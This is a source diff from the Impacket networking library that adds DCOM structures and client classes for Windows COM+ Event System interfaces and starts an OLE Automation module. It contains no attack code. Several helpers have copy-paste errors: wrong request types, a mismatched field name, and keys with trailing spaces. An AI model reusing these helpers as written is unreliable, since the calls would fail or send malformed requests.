+class IEventClass3_get_EventClassApplicationIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrEventClassApplicationID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.7.4 put_EventClassApplicationID (Opnum 32)
+class IEventClass3_put_EventClassApplicationID(DCOMCALL):
+    opnum = 32
+    structure = (
+       ('bstrEventClassApplicationID', BSTR),
+    )
+
+class IEventClass3_put_EventClassApplicationIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.8 IEventSubscription2
+# 3.1.4.8.1 get_FilterCriteria (Opnum 41)
+class IEventSubscription2_get_FilterCriteria(DCOMCALL):
+    opnum = 41
+    structure = (
+    )
+
+class IEventSubscription2_get_FilterCriteriaResponse(DCOMANSWER):
+    structure = (
+       ('pbstrFilterCriteria', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.8.2 put_FilterCriteria (Opnum 42)
+class IEventSubscription2_put_FilterCriteria(DCOMCALL):
+    opnum = 42
+    structure = (
+       ('bstrFilterCriteria', BSTR),
+    )
+
+class IEventSubscription2_put_FilterCriteriaResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.8.3 get_SubscriberMoniker (Opnum 43)
+class IEventSubscription2_get_SubscriberMoniker(DCOMCALL):
+    opnum = 43
+    structure = (
+    )
+
+class IEventSubscription2_get_SubscriberMonikerResponse(DCOMANSWER):
+    structure = (
+       ('pbstrMoniker', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.8.4 put_SubscriberMoniker (Opnum 44)
+class IEventSubscription2_put_SubscriberMoniker(DCOMCALL):
+    opnum = 44
+    structure = (
+       ('bstrMoniker', BSTR),
+    )
+
+class IEventSubscription2_put_SubscriberMonikerResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.9 IEventSubscription3
+# 3.1.4.9.1 get_EventClassPartitionID (Opnum 45)
+class IEventSubscription3_get_EventClassPartitionID(DCOMCALL):
+    opnum = 45
+    structure = (
+    )
+
+class IEventSubscription3_get_EventClassPartitionIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrEventClassPartitionID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.9.2 put_EventClassPartitionID (Opnum 46)
+class IEventSubscription3_put_EventClassPartitionID(DCOMCALL):
+    opnum = 46
+    structure = (
+       ('bstrEventClassPartitionID', BSTR),
+    )
+
+class IEventSubscription3_put_EventClassPartitionIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.9.3 get_EventClassApplicationID (Opnum 47)
+class IEventSubscription3_get_EventClassApplicationID(DCOMCALL):
+    opnum = 47
+    structure = (
+    )
+
+class IEventSubscription3_get_EventClassApplicationIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrEventClassApplicationID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.9.4 put_EventClassApplicationID (Opnum 48)
+class IEventSubscription3_put_EventClassApplicationID(DCOMCALL):
+    opnum = 48
+    structure = (
+       ('bstrEventClassPartitionID', BSTR),
+    )
+
+class IEventSubscription3_put_EventClassApplicationIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.9.5 get_SubscriberPartitionID (Opnum 49)
+class IEventSubscription3_get_SubscriberPartitionID(DCOMCALL):
+    opnum = 49
+    structure = (
+    )
+
+class IEventSubscription3_get_SubscriberPartitionIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrSubscriberPartitionID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.9.6 put_SubscriberPartitionID (Opnum 50)
+class IEventSubscription3_put_SubscriberPartitionID(DCOMCALL):
+    opnum = 50
+    structure = (
+       ('bstrSubscriberPartitionID', BSTR),
+    )
+
+class IEventSubscription3_put_SubscriberPartitionIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.9.7 get_SubscriberApplicationID (Opnum 51)
+class IEventSubscription3_get_SubscriberApplicationID(DCOMCALL):
+    opnum = 51
+    structure = (
+    )
+
+class IEventSubscription3_get_SubscriberApplicationIDResponse(DCOMANSWER):
+    structure = (
+       ('pbstrSubscriberApplicationID', BSTR),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.9.8 put_SubscriberApplicationID (Opnum 52)
+class IEventSubscription3_put_SubscriberApplicationID(DCOMCALL):
+    opnum = 52
+    structure = (
+       ('bstrSubscriberApplicationID', BSTR),
+    )
+
+class IEventSubscription3_put_SubscriberApplicationIDResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.10 IEventSystem2
+# 3.1.4.10.1 GetVersion (Opnum 13)
+class IEventSystem2_GetVersion(DCOMCALL):
+    opnum = 13
+    structure = (
+    )
+
+class IEventSystem2_GetVersionResponse(DCOMANSWER):
+    structure = (
+       ('pnVersion', INT),
+       ('ErrorCode', error_status_t),
+    )
+
+# 3.1.4.10.2 VerifyTransientSubscribers (Opnum 14)
+class IEventSystem2_VerifyTransientSubscribers(DCOMCALL):
+    opnum = 14
+    structure = (
+    )
+
+class IEventSystem2_VerifyTransientSubscribersResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+################################################################################
+# 3.1.4.11 IEventSystemInitialize
+# 3.1.4.11.1 SetCOMCatalogBehaviour (Opnum 3)
+class IEventSystemInitialize_SetCOMCatalogBehaviour(DCOMCALL):
+    opnum = 3
+    structure = (
+       ('bRetainSubKeys', BOOLEAN),
+    )
+
+class IEventSystemInitialize_SetCOMCatalogBehaviourResponse(DCOMANSWER):
+    structure = (
+       ('ErrorCode', error_status_t),
+    )
+
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+}
+
+################################################################################
+# HELPER FUNCTIONS AND INTERFACES
+################################################################################
+class IEventClass(IDispatch):
+    def __init__(self, interface):
+        IDispatch.__init__(self,interface)
+        self._iid = IID_IEventClass
+
+    def get_EventClassID(self):
+        request = IEventClass_get_EventClassID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_EventClassID(self,bstrEventClassID):
+        request = IEventClass_put_EventClassID()
+        request['bstrEventClassID'] = bstrEventClassID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_EventClassName(self):
+        request = IEventClass_get_EventClassName()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_EventClassName(self, bstrEventClassName):
+        request = IEventClass_put_EventClassName()
+        request['bstrEventClassName'] = bstrEventClassName
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_OwnerSID(self):
+        request = IEventClass_get_OwnerSID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_OwnerSID(self, bstrOwnerSID):
+        request = IEventClass_put_OwnerSID()
+        request['bstrOwnerSID'] = bstrOwnerSID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_FiringInterfaceID(self):
+        request = IEventClass_get_FiringInterfaceID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_FiringInterfaceID(self, bstrFiringInterfaceID):
+        request = IEventClass_put_FiringInterfaceID()
+        request['bstrFiringInterfaceID'] = bstrFiringInterfaceID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_Description(self):
+        request = IEventClass_get_Description()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_Description(self, bstrDescription):
+        request = IEventClass_put_Description()
+        request['bstrDescription'] = bstrDescription
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_TypeLib(self):
+        request = IEventClass_get_TypeLib()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_TypeLib(self, bstrTypeLib):
+        request = IEventClass_put_TypeLib()
+        request['bstrTypeLib'] = bstrTypeLib
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+class IEventClass2(IEventClass):
+    def __init__(self, interface):
+        IEventClass.__init__(self,interface)
+        self._iid = IID_IEventClass2
+
+    def get_PublisherID(self):
+        request = IEventClass2_get_PublisherID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_PublisherID(self, bstrPublisherID):
+        request = IEventClass2_put_PublisherID()
+        request['bstrPublisherID'] = bstrPublisherID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_MultiInterfacePublisherFilterCLSID(self):
+        request = IEventClass2_get_MultiInterfacePublisherFilterCLSID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_MultiInterfacePublisherFilterCLSID(self, bstrPubFilCLSID):
+        request = IEventClass2_put_MultiInterfacePublisherFilterCLSID()
+        request['bstrPubFilCLSID'] = bstrPubFilCLSID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_AllowInprocActivation(self):
+        request = IEventClass2_get_AllowInprocActivation()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_AllowInprocActivation(self, fAllowInprocActivation):
+        request = IEventClass2_put_AllowInprocActivation()
+        request['fAllowInprocActivation '] = fAllowInprocActivation
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_FireInParallel(self):
+        request = IEventClass2_get_FireInParallel()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_FireInParallel(self, fFireInParallel):
+        request = IEventClass2_put_FireInParallel()
+        request['fFireInParallel '] = fFireInParallel
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+class IEventClass3(IEventClass2):
+    def __init__(self, interface):
+        IEventClass2.__init__(self,interface)
+        self._iid = IID_IEventClass3
+
+    def get_EventClassPartitionID(self):
+        request = IEventClass3_get_EventClassPartitionID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_EventClassPartitionID(self, bstrEventClassPartitionID):
+        request = IEventClass3_put_EventClassPartitionID()
+        request['bstrEventClassPartitionID '] = bstrEventClassPartitionID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_EventClassApplicationID(self):
+        request = IEventClass3_get_EventClassApplicationID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_EventClassApplicationID(self, bstrEventClassApplicationID):
+        request = IEventClass3_put_EventClassApplicationID()
+        request['bstrEventClassApplicationID '] = bstrEventClassApplicationID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+class IEventSubscription(IDispatch):
+    def __init__(self, interface):
+        IDispatch.__init__(self,interface)
+        self._iid = IID_IEventSubscription
+
+    def get_SubscriptionID(self):
+        request = IEventSubscription_get_SubscriptionID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_SubscriptionID(self, bstrSubscriptionID):
+        request = IEventSubscription_put_SubscriptionID()
+        request['bstrSubscriptionID'] = bstrSubscriptionID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_SubscriptionName(self):
+        request = IEventSubscription_get_SubscriptionName()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def put_SubscriptionName(self, bstrSubscriptionName):
+        request = IEventSubscription_put_SubscriptionName()
+        request['bstrSubscriptionName'] = bstrSubscriptionName
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_PublisherID(self):
+        request = IEventSubscription_get_PublisherID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_PublisherID(self, bstrPublisherID):
+        request = IEventSubscription_put_PublisherID()
+        request['bstrPublisherID'] = bstrPublisherID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_EventClassID(self):
+        request = IEventSubscription_get_EventClassID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_EventClassID(self, pbstrEventClassID):
+        request = IEventSubscription_put_EventClassID()
+        request['pbstrEventClassID'] = pbstrEventClassID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_MethodName(self):
+        request = IEventSubscription_get_MethodName()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_MethodName(self, bstrMethodName):
+        request = IEventSubscription_put_MethodName()
+        request['bstrMethodName'] = bstrMethodName
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_SubscriberCLSID(self):
+        request = IEventSubscription_get_SubscriberCLSID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_SubscriberCLSID(self, bstrSubscriberCLSID):
+        request = IEventSubscription_put_SubscriberCLSID()
+        request['bstrSubscriberCLSID'] = bstrSubscriberCLSID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_SubscriberInterface(self):
+        request = IEventSubscription_get_SubscriberInterface()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_SubscriberInterface(self, pSubscriberInterface):
+        request = IEventSubscription_put_SubscriberInterface()
+        request['pSubscriberInterface'] = pSubscriberInterface
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_PerUser(self):
+        request = IEventSubscription_get_PerUser()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_PerUser(self, fPerUser):
+        request = IEventSubscription_put_PerUser()
+        request['fPerUser'] = fPerUser
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_OwnerSID(self):
+        request = IEventSubscription_get_OwnerSID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_OwnerSID(self, bstrOwnerSID):
+        request = IEventSubscription_put_OwnerSID()
+        request['bstrOwnerSID'] = bstrOwnerSID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_Enabled(self):
+        request = IEventSubscription_get_Enabled()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_Enabled(self, fEnabled):
+        request = IEventSubscription_put_Enabled()
+        request['fEnabled'] = fEnabled
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_Description(self):
+        request = IEventSubscription_get_Description()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_Description(self, bstrDescription):
+        request = IEventSubscription_put_Description()
+        request['bstrDescription'] = bstrDescription
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_MachineName(self):
+        request = IEventSubscription_get_MachineName()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_MachineName(self, bstrMachineName):
+        request = IEventSubscription_put_MachineName()
+        request['bstrMachineName'] = bstrMachineName
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def GetPublisherProperty(self):
+        request = IEventSubscription_GetPublisherProperty()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def PutPublisherProperty(self, bstrPropertyName, propertyValue):
+        request = IEventSubscription_PutPublisherProperty()
+        request['bstrPropertyName'] = bstrPropertyName
+        request['propertyValue'] = propertyValue
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def RemovePublisherProperty(self, bstrPropertyName):
+        request = IEventSubscription_RemovePublisherProperty()
+        request['bstrPropertyName'] = bstrPropertyName
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def GetPublisherPropertyCollection(self):
+        request = IEventSubscription_GetPublisherPropertyCollection()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def GetSubscriberProperty(self):
+        request = IEventSubscription_GetSubscriberProperty()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def PutSubscriberProperty(self, bstrPropertyName, propertyValue):
+        request = IEventSubscription_PutSubscriberProperty()
+        request['bstrPropertyName'] = bstrPropertyName
+        request['propertyValue'] = propertyValue
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def RemoveSubscriberProperty(self, bstrPropertyName):
+        request = IEventSubscription_RemoveSubscriberProperty()
+        request['bstrPropertyName'] = bstrPropertyName
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def GetSubscriberPropertyCollection(self):
+        request = IEventSubscription_GetSubscriberPropertyCollection()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_InterfaceID(self):
+        request = IEventSubscription_get_InterfaceID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_InterfaceID(self, bstrInterfaceID):
+        request = IEventSubscription_put_InterfaceID()
+        request['bstrInterfaceID'] = bstrInterfaceID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+class IEventSubscription2(IEventSubscription):
+    def __init__(self, interface):
+        IEventSubscription.__init__(self,interface)
+        self._iid = IID_IEventSubscription2
+
+    def get_FilterCriteria(self):
+        request = IEventSubscription2_get_FilterCriteria()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_FilterCriteria(self, bstrFilterCriteria):
+        request = IEventSubscription2_put_FilterCriteria()
+        request['bstrFilterCriteria'] = bstrFilterCriteria
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_SubscriberMoniker (self):
+        request = IEventSubscription2_get_SubscriberMoniker ()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_SubscriberMoniker(self, bstrMoniker):
+        request = IEventSubscription2_put_SubscriberMoniker()
+        request['bstrMoniker'] = bstrMoniker
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+class IEventSubscription3(IEventSubscription2):
+    def __init__(self, interface):
+        IEventSubscription2.__init__(self,interface)
+        self._iid = IID_IEventSubscription3
+
+    def get_EventClassPartitionID(self):
+        request = IEventSubscription3_get_EventClassPartitionID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_EventClassPartitionID(self, bstrEventClassPartitionID):
+        request = IEventSubscription3_put_EventClassPartitionID()
+        request['bstrEventClassPartitionID'] = bstrEventClassPartitionID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_EventClassApplicationID(self):
+        request = IEventSubscription3_get_EventClassApplicationID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_EventClassApplicationID(self, bstrEventClassApplicationID):
+        request = IEventSubscription3_put_EventClassApplicationID()
+        request['bstrEventClassApplicationID'] = bstrEventClassApplicationID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_SubscriberPartitionID(self):
+        request = IEventSubscription3_get_SubscriberPartitionID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_SubscriberPartitionID(self, bstrSubscriberPartitionID):
+        request = IEventSubscription3_put_SubscriberPartitionID()
+        request['bstrSubscriberPartitionID'] = bstrSubscriberPartitionID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def get_SubscriberApplicationID(self):
+        request = IEventSubscription3_get_SubscriberApplicationID()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+    def put_SubscriberApplicationID(self, bstrSubscriberApplicationID):
+        request = IEventSubscription3_put_SubscriberApplicationID()
+        request['bstrSubscriberApplicationID'] = bstrSubscriberApplicationID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        resp.dump()
+        return resp
+
+
+class IEnumEventObject(IDispatch):
+    def __init__(self, interface):
+        IDispatch.__init__(self,interface)
+        self._iid = IID_IEnumEventObject
+
+    def Clone(self):
+        request = IEnumEventObject_Clone()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
+
+    def Next(self, cReqElem):
+        request = IEnumEventObject_Next()
+        request['cReqElem'] = cReqElem
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        interfaces = list()
+        for interface in resp['ppInterface']:
+            interfaces.append(IEventClass2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target())))
+        return interfaces
+
+    def Reset(self):
+        request = IEnumEventObject_Reset()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def Skip(self, cSkipElem):
+        request = IEnumEventObject_Skip()
+        request['cSkipElem'] = cSkipElem
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+class IEventObjectCollection(IDispatch):
+    def __init__(self, interface):
+        IDispatch.__init__(self,interface)
+        self._iid = IID_IEventObjectCollection
+
+    def get__NewEnum(self):
+        request = IEventObjectCollection_get__NewEnum()
+        resp = self.request(request, iid = self._iid , uuid = self.get_iPid())
+        return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self._get_target()))
+
+    def get_Item(self, objectID):
+        request = IEventObjectCollection_get_Item()
+        request['objectID']['asData'] = objectID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def get_NewEnum(self):
+        request = IEventObjectCollection_get_NewEnum()
+        resp = self.request(request, iid = self._iid , uuid = self.get_iPid())
+        return IEnumEventObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
+
+    def get_Count(self):
+        request = IEventObjectCollection_get_Count()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def Add(self, item, objectID):
+        request = IEventObjectCollection_Add()
+        request['item'] = item
+        request['objectID']['asData'] = objectID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def Remove(self, objectID):
+        request = IEventObjectCollection_Remove()
+        request['objectID']['asData'] = objectID
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+class IEventSystem(IDispatch):
+    def __init__(self, interface):
+        IDispatch.__init__(self,interface)
+        self._iid = IID_IEventSystem
+
+    def Query(self, progID, queryCriteria):
+        request = IEventSystem_Query()
+        request['progID']['asData']=progID
+        request['queryCriteria']['asData']=queryCriteria
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        iInterface = IDispatch(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
+        return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,)))
+
+    def Store(self, progID, pInterface):
+        request = IEventSystem_Store()
+        request['progID']['asData']=progID
+        request['pInterface'] = pInterface
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def Remove(self, progID, queryCriteria):
+        request = IEventSystem_Remove()
+        request['progID']['asData']=progID
+        request['queryCriteria'] = queryCriteria
+        resp = self.request(request, uuid = self.get_iPid())
+        return resp
+
+    def get_EventObjectChangeEventClassID(self):
+        request = IEventSystem_get_EventObjectChangeEventClassID()
+        resp = self.request(request, uuid = self.get_iPid())
+        return resp
+
+    def QueryS(self,progID, queryCriteria):
+        request = IEventSystem_QueryS()
+        request['progID']['asData']=progID
+        request['queryCriteria']['asData']=queryCriteria
+        resp = self.request(request, uuid = self.get_iPid())
+        iInterface = IDispatch(INTERFACE(self.get_cinstance(), ''.join(resp['ppInterface']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))
+        return IEventObjectCollection(iInterface.RemQueryInterface(1, (IID_IEventObjectCollection,)))
+
+    def RemoveS(self,progID, queryCriteria):
+        request = IEventSystem_RemoveS()
+        request['progID']['asData']=progID
+        request['queryCriteria']['asData']=queryCriteria
+        resp = self.request(request, uuid = self.get_iPid())
+        return resp
+
+class IEventSystem2(IEventSystem):
+    def __init__(self, interface):
+        IEventSystem.__init__(self,interface)
+        self._iid = IID_IEventSystem2
+
+    def GetVersion(self):
+        request = IEventSystem2_GetVersion()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+    def VerifyTransientSubscribers(self):
+        request = IEventSystem2_GetVersion()
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
+
+class IEventSystemInitialize(IRemUnknown):
+    def __init__(self, interface):
+        IRemUnknown.__init__(self,interface)
+        self._iid = IID_IEventSystemInitialize
+
+    def SetCOMCatalogBehaviour(self, bRetainSubKeys):
+        request = IEventSystem2_GetVersion()
+        request['bRetainSubKeys'] = bRetainSubKeys
+        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
+        return resp
diff --git a/impacket/dcerpc/v5/dcom/oaut.py b/impacket/dcerpc/v5/dcom/oaut.py
new file mode 100644
index 0000000..b171586
--- /dev/null
+++ b/impacket/dcerpc/v5/dcom/oaut.py
@@ -0,0 +1,1093 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-OAUT]: OLE Automation Protocol Implementation
+#              This was used as a way to test the DCOM runtime. Further
+#              testing is needed to verify it is working as expected
+#
+#   Best way to learn how to use these calls is to grab the protocol standard
+#   so you understand what the call does, and then read the test case located
+#   at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
+#
+#   Since DCOM is like an OO RPC, instead of helper functions you will see the
+#   classes described in the standards developed.
+#   There are test cases for them too.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+from __future__ import division
+from __future__ import print_function
+import random
+from struct import pack, unpack
+
+from impacket import LOG
+from impacket import hresult_errors
+from impacket.dcerpc.v5.dcomrt import DCOMCALL, DCOMANSWER, IRemUnknown2, PMInterfacePointer, INTERFACE, \
+    MInterfacePointer, MInterfacePointer_ARRAY, BYTE_ARRAY, PPMInterfacePointer
+from impacket.dcerpc.v5.dtypes import LPWSTR, ULONG, DWORD, SHORT, GUID, USHORT, LONG, WSTR, BYTE, LONGLONG, FLOAT, \
+    DOUBLE, HRESULT, PSHORT, PLONG, PLONGLONG, PFLOAT, PDOUBLE, PHRESULT, CHAR, ULONGLONG, INT, UINT, PCHAR, PUSHORT, \
+    PULONG, PULONGLONG, PINT, PUINT, NULL
+from impacket.dcerpc.v5.enum import Enum
+from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER, NDRENUM, NDRUSHORT, NDRUNION, \
+    NDRUniConformantVaryingArray, NDR
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.uuid import string_to_bin
+
+class DCERPCSessionError(DCERPCException):
+    def __init__(self, error_string=None, error_code=None, packet=None):
+        DCERPCException.__init__(self, error_string, error_code, packet)
+
+    def __str__( self ):
+        if self.error_code in hresult_errors.ERROR_MESSAGES:
+            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]
+            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] 
+            return 'OAUT SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
+        else:
+            return 'OAUT SessionError: unknown error code: 0x%x' % (self.error_code)
+
+################################################################################
+# CONSTANTS
+################################################################################
+# 1.9 Standards Assignments
+IID_IDispatch = string_to_bin('00020400-0000-0000-C000-000000000046')
+IID_ITypeInfo = string_to_bin('00020401-0000-0000-C000-000000000046')
